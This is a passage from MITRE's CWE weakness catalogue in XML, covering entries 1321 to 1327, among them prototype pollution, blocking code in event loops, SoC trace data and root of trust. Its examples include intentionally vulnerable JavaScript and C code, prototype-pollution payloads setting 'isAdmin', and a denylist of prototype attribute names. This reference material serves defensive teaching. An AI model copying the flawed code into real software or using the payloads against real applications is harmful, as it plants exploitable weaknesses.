			<Previous_Entry_Name Date="2022-10-13">Improper Protection for Out of Bounds Signal Level Alerts</Previous_Entry_Name>
			</Content_History>
		</Weakness>
      <Weakness ID="1321" Name="Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')" Abstraction="Variant" Structure="Simple" Status="Incomplete">
			<Description>The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.</Description>
			<Extended_Description>
				<xhtml:p>By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the product depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf).</xhtml:p>
				<xhtml:p>This weakness is usually exploited by using a special attribute of objects called proto,  constructor or prototype. Such attributes give access to the object prototype. This weakness is often found in code that assigns object attributes based on user input, or merges or clones objects recursively.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="915" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="ChildOf" CWE_ID="913" View_ID="1003" Ordinal="Primary"/>
				<Related_Weakness Nature="CanPrecede" CWE_ID="471" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Name="JavaScript" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Integrity</Scope>
					<Impact>Modify Application Data</Impact>
					<Likelihood>High</Likelihood>
					<Note>An attacker can inject attributes that are used in other components.</Note>
				</Consequence>
				<Consequence>
					<Scope>Availability</Scope>
					<Impact>DoS: Crash, Exit, or Restart</Impact>
					<Likelihood>High</Likelihood>
					<Note>An attacker can override existing attributes with ones that have incompatible type, which may lead to a crash.</Note>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.</Description>
					<Effectiveness>High</Effectiveness>
					<Effectiveness_Notes>While this can mitigate this weakness completely, other methods are recommended when possible, especially in components used by upstream software ("libraries").</Effectiveness_Notes>
				</Mitigation>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.</Description>
					<Effectiveness>High</Effectiveness>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Strategy>Input Validation</Strategy>
					<Description>When handling untrusted objects, validating using a schema can be used.</Description>
					<Effectiveness>Limited</Effectiveness>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.</Description>
					<Effectiveness>High</Effectiveness>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.</Description>
					<Effectiveness>Moderate</Effectiveness>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>This function sets object attributes based on a dot-separated path.</Intro_Text>
					<Example_Code Nature="Bad" Language="JavaScript">

					<xhtml:div>function setValueByPath (object, path, value) {<xhtml:br/>
					<xhtml:div style="margin-left:1em;">
					    const pathArray = path.split(".");<xhtml:br/>
					    const attributeToSet = pathArray.pop();<xhtml:br/>
					    let objectToModify = object;<xhtml:br/>
					    for (const attr of pathArray) {<xhtml:br/>
					    <xhtml:div style="margin-left:1em;">if (typeof objectToModify[attr] !== 'object') {<xhtml:br/>
					    <xhtml:div style="margin-left:1em;">objectToModify[attr] = {};<xhtml:br/>
					        }</xhtml:div><xhtml:br/>
					        objectToModify = objectToModify[attr];<xhtml:br/>
					    }</xhtml:div><xhtml:br/>
					    objectToModify[attributeToSet] = value;<xhtml:br/>
					    return object;<xhtml:br/>
					}<xhtml:br/>
					</xhtml:div>
					</xhtml:div>
					</Example_Code>
					<Body_Text>This function does not check if the attribute resolves to the object prototype. These codes can be used to add "isAdmin: true" to the object prototype.</Body_Text>
					<Example_Code Nature="Bad" Language="JavaScript">
					<xhtml:div>
					  setValueByPath({}, "__proto__.isAdmin", true)<xhtml:br/>
					  setValueByPath({}, "constructor.prototype.isAdmin", true)<xhtml:br/>
					</xhtml:div>
					</Example_Code>
					<Body_Text>By using a denylist of dangerous attributes, this weakness can be eliminated.</Body_Text>
					<Example_Code Nature="Good" Language="JavaScript">
					<xhtml:div>
					function setValueByPath (object, path, value) {<xhtml:br/>
					<xhtml:div style="margin-left:1em;">
					    const pathArray = path.split(".");<xhtml:br/>
					    const attributeToSet = pathArray.pop();<xhtml:br/>
					    let objectToModify = object;<xhtml:br/>
					    for (const attr of pathArray) {<xhtml:br/>
					<xhtml:div style="margin-left:1em;">
					        <xhtml:i>// Ignore attributes which resolve to object prototype</xhtml:i><xhtml:br/>
					        if (attr === "__proto__" || attr === "constructor" || attr === "prototype") {<xhtml:br/>
					<xhtml:div style="margin-left:1em;">
					            continue;<xhtml:br/>
					        }<xhtml:br/>
					</xhtml:div>
					        if (typeof objectToModify[attr] !== "object") {<xhtml:br/>
					<xhtml:div style="margin-left:1em;">
					            objectToModify[attr] = {};<xhtml:br/>
					        }<xhtml:br/>
					</xhtml:div>
					        objectToModify = objectToModify[attr];<xhtml:br/>
					    }<xhtml:br/>
					</xhtml:div>
					    objectToModify[attributeToSet] = value;<xhtml:br/>
					    return object;<xhtml:br/>
					}<xhtml:br/>
					</xhtml:div>
					</xhtml:div>
					</Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
				<Observed_Example>
					<Reference>CVE-2018-3721</Reference>
					<Description>Prototype pollution by merging objects.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2018-3721</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2019-10744</Reference>
					<Description>Prototype pollution by setting default values to object attributes recursively.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2019-10744</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2019-11358</Reference>
					<Description>Prototype pollution by merging objects recursively.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2019-11358</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2020-8203</Reference>
					<Description>Prototype pollution by setting object attributes based on dot-separated path.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2020-8203</Link>
				</Observed_Example>
			</Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="1"/>
            <Related_Attack_Pattern CAPEC_ID="180"/>
            <Related_Attack_Pattern CAPEC_ID="77"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1148"/>
				<Reference External_Reference_ID="REF-1149"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>Anonymous External Contributor</Submission_Name>
					<Submission_Date>2020-08-25</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1322" Name="Use of Blocking Code in Single-threaded, Non-blocking Context" Abstraction="Base" Structure="Simple" Status="Incomplete">

			<Description>The product uses a non-blocking model that relies on a single threaded process
			for features such as scalability, but it contains code that can block when it is invoked.</Description>
			<Extended_Description>
				<xhtml:p>When an attacker can directly invoke the blocking code, or the blocking code can be affected by environmental conditions that can be influenced by an attacker, then this can lead to a denial of service by causing unexpected hang or freeze of the code. Examples of blocking code might be an expensive computation or calling
				blocking library calls, such as those that perform exclusive file operations or require a successful network operation.</xhtml:p>
				<xhtml:p>Due to limitations in multi-thread models, single-threaded
				models are used to overcome the resource constraints that are caused by using
				many threads. In such a model, all code should generally be
				non-blocking. If blocking code is called, then the event loop will
				effectively be stopped, which can be undesirable or dangerous.  Such
				models are used in Python asyncio, Vert.x, and Node.js, or other
				custom event loop code.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="834" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="CanPrecede" CWE_ID="835" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Availability</Scope>
					<Impact>DoS: Resource Consumption (CPU)</Impact>
					<Note>An unexpected call to blocking code can trigger an infinite loop, or a large loop that causes the software to pause and wait indefinitely.</Note>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Generally speaking, blocking calls should be
					replaced with non-blocking alternatives that can be used asynchronously.
					Expensive computations should be passed off to worker threads, although
					the correct approach depends on the framework being used.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>For expensive computations, consider breaking them up into
					multiple smaller computations. Refer to the documentation of the
					framework being used for guidance.</Description>
				</Mitigation>
			</Potential_Mitigations>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="25"/>
         </Related_Attack_Patterns>
         <Content_History>
				<Submission>
					<Submission_Name>Joe Harvey</Submission_Name>
					<Submission_Date>2019-10-25</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1323" Name="Improper Management of Sensitive Trace Data" Abstraction="Base" Structure="Simple" Status="Draft">
            <Description>Trace data collected from several sources on the
                System-on-Chip (SoC) is stored in unprotected locations or
                transported to untrusted agents.</Description>
			<Extended_Description>
                <xhtml:p>To facilitate verification of complex System-on-Chip
                    (SoC) designs, SoC integrators add specific IP blocks that
                    trace the SoC's internal signals in real-time. This
                    infrastructure enables observability of the SoC's internal
                    behavior, validation of its functional design,
                    and detection of hardware and software bugs. Such tracing
                    IP blocks collect traces from several sources on the SoC
                    including the CPU, crypto coprocessors, and on-chip fabrics. Traces collected from these sources are then
                    aggregated inside trace IP block and forwarded to trace
                    sinks, such as debug-trace ports that facilitate debugging by
                    external hardware and software debuggers.</xhtml:p>
					<xhtml:p>Since
                    these traces are collected from several security-sensitive
                    sources, they must be protected against untrusted
                    debuggers. If they are stored in unprotected memory, an
                    untrusted software debugger can access these traces and
                    extract secret information. Additionally, if
                    security-sensitive traces are not tagged as secure, an
                    untrusted hardware debugger might access them to extract
                    confidential information.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
                <Technology Class="System on Chip" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Impact>Read Memory</Impact>
					<Note>An adversary can read secret values if they are captured in debug traces and stored unsafely.</Note>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Tag traces to indicate owner and debugging privilege level (designer, OEM, or end user) needed to access that trace.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
                    <Intro_Text>In a SoC, traces generated from sources
                        include security-sensitive IP blocks such as CPU (with
                        tracing information such as instructions executed and
                        memory operands), on-chip fabric (e.g., memory-transfer
                        signals, transaction type and destination, and
                        on-chip-firewall-error signals), power-management
                        IP blocks (e.g., clock- and power-gating signals), and
                        cryptographic coprocessors (e.g., cryptographic keys and
                        intermediate values of crypto operations), among
                        other non-security-sensitive IP blocks including timers
                        and other functional blocks. The collected traces are
                        then forwarded to the debug and trace interface used by
                        the external hardware debugger.</Intro_Text>
                    <Example_Code Nature="Bad" Language="Other">The traces do
                        not have any privilege level attached to them. All
                        collected traces can be viewed by any debugger (i.e., SoC
                        designer, OEM debugger, or end user).</Example_Code>
                    <Example_Code Nature="Good" Language="Other">Some of the
                        traces are SoC-design-house secrets, while some are OEM
                        secrets. Few are end-user secrets and the rest are
                        not security-sensitive. Tag all traces with the
                        appropriate, privilege level at the source. The bits
                        indicating the privilege level must be immutable in
                        their transit from trace source to the final, trace
                        sink. Debugger privilege level must be checked before
                        providing access to traces. </Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="150"/>
            <Related_Attack_Pattern CAPEC_ID="167"/>
            <Related_Attack_Pattern CAPEC_ID="545"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1150"/>
				<Reference External_Reference_ID="REF-1151"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>Hareesh Khattri, Parbati K. Manna, and Arun Kanuparthi</Submission_Name>
					<Submission_Organization>The Intel Corporation</Submission_Organization>
					<Submission_Date>2020-07-20</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Common_Consequences</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1324" Name="DEPRECATED: Sensitive Information Accessible by Physical Probing of JTAG Interface" Abstraction="Base" Structure="Simple" Status="Deprecated">
            <Description>This entry has been deprecated because it was at a lower level of abstraction than supported by CWE. All relevant content has been integrated into CWE-319.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
				<Submission>
					<Submission_Name>Accellera IP Security Assurance (IPSA) Working Group</Submission_Name>
					<Submission_Organization>Accellera Systems Initiative</Submission_Organization>
					<Submission_Date>2020-10-01</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Modes_of_Introduction, Name, Potential_Mitigations, Related_Attack_Patterns, Relationships, Time_of_Introduction, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2023-01-31">Sensitive Information Accessible by Physical Probing of JTAG Interface</Previous_Entry_Name>
			</Content_History>
		</Weakness>
      <Weakness ID="1325" Name="Improperly Controlled Sequential Memory Allocation" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product manages a group of objects or resources and performs a separate memory allocation for each object, but it does not properly limit the total amount of memory that is consumed by all of the combined objects.</Description>
			<Extended_Description>
			  <xhtml:p>While the product might limit the amount of memory that is allocated in a single operation for a single object (such as a malloc of an array), if an attacker can cause multiple objects to be allocated in separate operations, then this might cause higher total memory consumption than the developer intended, leading to a denial of service.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
			<Related_Weakness Nature="ChildOf" CWE_ID="770" View_ID="1000" Ordinal="Primary"/>
			<Related_Weakness Nature="PeerOf" CWE_ID="789" View_ID="1000" Ordinal="Primary"/>
			<Related_Weakness Nature="CanPrecede" CWE_ID="476" View_ID="1000"/>
			</Related_Weaknesses>
			<Weakness_Ordinalities>
			  <Weakness_Ordinality>
			    <Ordinality>Primary</Ordinality>
			  </Weakness_Ordinality>
			</Weakness_Ordinalities>
			<Applicable_Platforms>
			  <Language Name="C" Prevalence="Undetermined"/>
			  <Language Name="C++" Prevalence="Undetermined"/>
			  <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Alternate_Terms>
			  <Alternate_Term>
			    <Term>Stack Exhaustion</Term>
			    <Description>When a weakness allocates excessive memory on the stack, it is often described as "stack exhaustion," which is a technical impact of the weakness. This technical impact is often encountered as a consequence of CWE-789 and/or CWE-1325.</Description>
			  </Alternate_Term>
			</Alternate_Terms>
			<Modes_Of_Introduction>
			    <Introduction>
			      <Phase>Implementation</Phase>
			    </Introduction>
			  </Modes_Of_Introduction>
			<Common_Consequences>
			  <Consequence>
			    <Scope>Availability</Scope>
			    <Impact>DoS: Resource Consumption (Memory)</Impact>
			    <Note>Not controlling memory allocation can result in a request for too much system memory, possibly leading to a crash of the application due to out-of-memory conditions, or the consumption of a large amount of memory on the system.</Note>
			  </Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
			  <Mitigation>
			    <Phase>Implementation</Phase>
			    <Description>Ensure multiple allocations of the same kind of object are properly tracked - possibly across multiple sessions, requests, or messages. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.</Description>
			  </Mitigation>
			  <Mitigation>
			    <Phase>Operation</Phase>
			    <Description>Run the program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.</Description>
			  </Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>This example contains a small allocation of stack memory. When the program was first constructed, the number of times this memory was allocated was probably inconsequential and presented no problem. Over time, as the number of objects in the database grow, the number of allocations will grow - eventually consuming the available stack, i.e. "stack exhaustion." An attacker who is able to add elements to the database could cause stack exhaustion more rapidly than assumed by the developer.</Intro_Text>
					<Example_Code Nature="Bad" Language="C">
					<xhtml:div>
					  <xhtml:i>// Gets the size from the number of objects in a database, which over time can conceivably get very large</xhtml:i><xhtml:br/>
					  int end_limit = get_nmbr_obj_from_db();<xhtml:br/>
					  int i;<xhtml:br/>
					  int *base = NULL;<xhtml:br/>
					  int *p =base;<xhtml:br/>
					  for (i = 0; i &lt; end_limit; i++)<xhtml:br/>
					  {<xhtml:br/>
					    <xhtml:div style="margin-left:1em;">
					      *p = alloca(sizeof(int *)); <xhtml:i>// Allocate memory on the stack</xhtml:i><xhtml:br/>
					      p = *p; <xhtml:i>// // Point to the next location to be saved</xhtml:i><xhtml:br/>
					    </xhtml:div>
					    }<xhtml:br/>
					</xhtml:div>
					</Example_Code>
					<Body_Text>Since this uses alloca(), it allocates memory directly on the stack.  If end_limit is large enough, then the stack can be entirely consumed.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
				<Observed_Example>
					<Reference>CVE-2020-36049</Reference>
					<Description>JavaScript-based packet decoder uses concatenation of many small strings, causing out-of-memory (OOM) condition</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2020-36049</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2019-20176</Reference>
					<Description>Product allocates a new buffer on the stack for each file in a directory, allowing stack exhaustion</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2019-20176</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2013-1591</Reference>
					<Description>Chain: an integer overflow (CWE-190) in the image size calculation causes an infinite loop (CWE-835) which sequentially allocates buffers without limits (CWE-1325) until the stack is full.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2013-1591</Link>
				</Observed_Example>
			</Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="130"/>
         </Related_Attack_Patterns>
         <Content_History>
			  <Submission>
			    <Submission_Name>CWE Content Team</Submission_Name>
			    <Submission_Organization>MITRE</Submission_Organization>
			    <Submission_Date>2020-12-07</Submission_Date>
			  </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1326" Name="Missing Immutable Root of Trust in Hardware" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>A missing immutable root of trust in the hardware results in the ability to bypass secure boot or execute untrusted or adversarial boot code.</Description>
			<Extended_Description>
				<xhtml:p>A System-on-Chip (SoC) implements secure boot by verifying or authenticating signed boot code. The signing of the code is achieved by an entity that the SoC trusts.  Before executing the boot code, the SoC verifies that the code or the public key with which the code has been signed has not been tampered with. The other data upon which the SoC depends are system-hardware settings in fuses such as whether "Secure Boot is enabled". These data play a crucial role in establishing a Root of Trust (RoT) to execute secure-boot flows.</xhtml:p>
				<xhtml:p>One of the many ways RoT is achieved is by storing the code and data in memory or fuses. This memory should be immutable, i.e., once the RoT is programmed/provisioned in memory, that memory should be locked and prevented from further programming or writes. If the memory contents (i.e., RoT) are mutable, then an adversary can modify the RoT to execute their choice of code, resulting in a compromised secure boot.</xhtml:p>
				<xhtml:p>Note that, for components like ROM, secure patching/update features should be supported to allow authenticated and authorized updates in the field. </xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>	
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Security Hardware" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>Such issues could be introduced during policy definition, hardware architecture, design, manufacturing, and/or provisioning. They can be identified later during testing or system configuration phases.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Authentication</Scope>
					<Scope>Authorization</Scope>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
					<Impact>Modify Memory</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
				<Detection_Method>
				<Method>Automated Dynamic Analysis</Method>
				<Description>Automated testing can verify that RoT components are immutable.</Description>
				<Effectiveness>High</Effectiveness>
				</Detection_Method>
				<Detection_Method>
				<Method>Architecture or Design Review</Method>
				<Description>Root of trust elements and memory should be part of architecture and design reviews.</Description>
				<Effectiveness>High</Effectiveness>
				</Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>When architecting the system, the RoT should be designated for storage in a memory that does not allow further programming/writes.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>During implementation and test, the RoT memory location should be demonstrated to not allow further programming/writes. </Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>The RoT is stored in memory. This memory can be modified by an adversary. For example, if an SoC implements "Secure Boot" by storing the boot code in an off-chip/on-chip flash, the contents of the flash can be modified by using a flash programmer. Similarly, if the boot code is stored in ROM (Read-Only Memory) but the public key or the hash of the public key (used to enable "Secure Boot") is stored in Flash or a memory that is susceptible to modifications or writes, the implementation is vulnerable.</Intro_Text>
					<Body_Text>In general, if the boot code, key materials and data that enable "Secure Boot" are all mutable, the implementation is vulnerable.</Body_Text>
					<Body_Text>Good architecture defines RoT as immutable in hardware. One of the best ways to achieve immutability is to store boot code, public key or hash of the public key and other relevant data in Read-Only Memory (ROM) or One-Time Programmable (OTP) memory that prevents further programming or writes.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="679"/>
            <Related_Attack_Pattern CAPEC_ID="68"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1152"/>
				<Reference External_Reference_ID="REF-1153"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-04-25</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1327" Name="Binding to an Unrestricted IP Address" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product assigns the address 0.0.0.0 for a database server, a cloud service/instance, or any computing resource that communicates remotely.</Description>
			<Extended_Description>
				<xhtml:p>When a server binds to the address 0.0.0.0, it allows connections from every IP address on the local machine, effectively exposing the server to every possible network. This might be much broader access than intended by the developer or administrator, who might only be expecting the server to be reachable from a single interface/network.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Name="Other" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Web Server" Prevalence="Undetermined"/>
				<Technology Class="Client Server" Prevalence="Undetermined"/>
				<Technology Class="Cloud Computing" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>System Configuration</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Availability</Scope>
					<Impact>DoS: Amplification</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>System Configuration</Phase>
					<Description>Assign IP addresses that are not 0.0.0.0.</Description>
					<Effectiveness>High</Effectiveness>
				</Mitigation>
				<Mitigation>
					<Phase>System Configuration</Phase>
					<Strategy>Firewall</Strategy>
					<Description>Unwanted connections to the configured server may be denied through a firewall or other packet filtering measures.</Description>
					<Effectiveness>High</Effectiveness>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
